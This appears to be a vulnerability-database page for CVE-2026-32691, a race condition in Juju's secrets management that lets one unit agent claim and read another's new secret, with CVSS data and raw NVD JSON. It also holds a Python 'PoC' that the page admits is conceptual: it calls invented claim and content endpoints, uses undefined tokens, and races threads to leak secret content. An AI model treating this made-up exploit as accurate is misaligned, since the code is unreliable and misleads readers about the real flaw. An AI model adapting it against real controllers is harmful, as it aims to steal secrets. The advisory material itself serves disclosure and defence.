Security Vulnerability Report
中文
CVE-2026-32691 CVSS 5.3 MEDIUM

CVE-2026-32691

Published: 2026-03-18 13:16:18
Last Modified: 2026-03-19 15:34:39

Description

A race condition in the secrets management subsystem of Juju versions 3.0.0 through 3.6.18 allows an authenticated unit agent to claim ownership of a newly initialized secret. Between generating a Juju Secret ID and creating the secret's first revision, an attacker authenticated as another unit agent can claim ownership of a known secret. This leads to the attacking unit being able to read the content of the initial secret revision.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:* - VULNERABLE
Juju >= 3.0.0
Juju <= 3.6.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-32691 PoC - Juju Secrets Race Condition # This PoC demonstrates the race condition in Juju secrets management # Note: This is a conceptual PoC based on the vulnerability description import time import threading import requests # Configuration JUJU_CONTROLLER = "https://juju-controller:8443" ATTACKER_UNIT = "unit-attacker/0" TARGET_SECRET_ID = None def create_secret_and_claim(): """ Legitimate unit creates a secret, attacker tries to claim ownership during the race window between ID generation and first revision creation. """ global TARGET_SECRET_ID # Step 1: Legitimate unit initiates secret creation response = requests.post( f"{JUJU_CONTROLLER}/secrets", headers={"Authorization": f"Bearer {LEGITIMATE_TOKEN}"}, json={"data": {"password": "super-secret-123"}} ) if response.status_code == 200: TARGET_SECRET_ID = response.json()["ID"] print(f"[+] Secret created with ID: {TARGET_SECRET_ID}") # Vulnerability window: Secret exists but not yet committed # Attacker can claim ownership here return TARGET_SECRET_ID return None def attacker_claim_secret(secret_id): """ Attacker attempts to claim ownership of the secret during race window. """ print(f"[*] Attacker attempting to claim secret: {secret_id}") response = requests.put( f"{JUJU_CONTROLLER}/secrets/{secret_id}/claim", headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"}, json={"owner": ATTACKER_UNIT} ) if response.status_code == 200: print(f"[+] SUCCESS: Secret {secret_id} claimed by attacker!") return True else: print(f"[-] Failed to claim secret: {response.status_code}") return False def read_secret_content(secret_id): """ After claiming, attacker can read the secret content. """ response = requests.get( f"{JUJU_CONTROLLER}/secrets/{secret_id}/content", headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"} ) if response.status_code == 200: print(f"[+] Secret content leaked: {response.json()}") return response.json() return None def exploit_race_condition(): """ Main exploitation function that triggers the race condition. """ secret_id = create_secret_and_claim() if secret_id: # Launch multiple claim attempts during the vulnerability window threads = [] for i in range(10): t = threading.Thread(target=attacker_claim_secret, args=(secret_id,)) threads.append(t) t.start() time.sleep(0.001) # Small delay to increase race window exposure for t in threads: t.join() # Attempt to read secret content read_secret_content(secret_id) if __name__ == "__main__": print("CVE-2026-32691 PoC - Juju Secrets Race Condition") print("=" * 50) exploit_race_condition()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32691", "sourceIdentifier": "[email protected]", "published": "2026-03-18T13:16:18.163", "lastModified": "2026-03-19T15:34:39.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition in the secrets management subsystem of Juju versions 3.0.0 through 3.6.18 allows an authenticated unit agent to claim ownership of a newly initialized secret. Between generating a Juju Secret ID and creating the secret's first revision, an attacker authenticated as another unit agent can claim ownership of a known secret. This leads to the attacking unit being able to read the content of the initial secret revision."}, {"lang": "es", "value": "Una condición de carrera en el subsistema de gestión de secretos de las versiones de Juju 3.0.0 a 3.6.18 permite a un agente de unidad autenticado reclamar la propiedad de un secreto recién inicializado. Entre la generación de un ID de Secreto de Juju y la creación de la primera revisión del secreto, un atacante autenticado como otro agente de unidad puede reclamar la propiedad de un secreto conocido. Esto lleva a que la unidad atacante pueda leer el contenido de la revisión inicial del secreto."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-708"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.19", "matchCriteriaId": "3BAFE599-DF11-429B-9A8C-970BDB3065C8"}]}]}], "references": [{"url": "https://github.com/juju/juju/security/advisories/GHSA-gfgr-6hrj-85ww", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}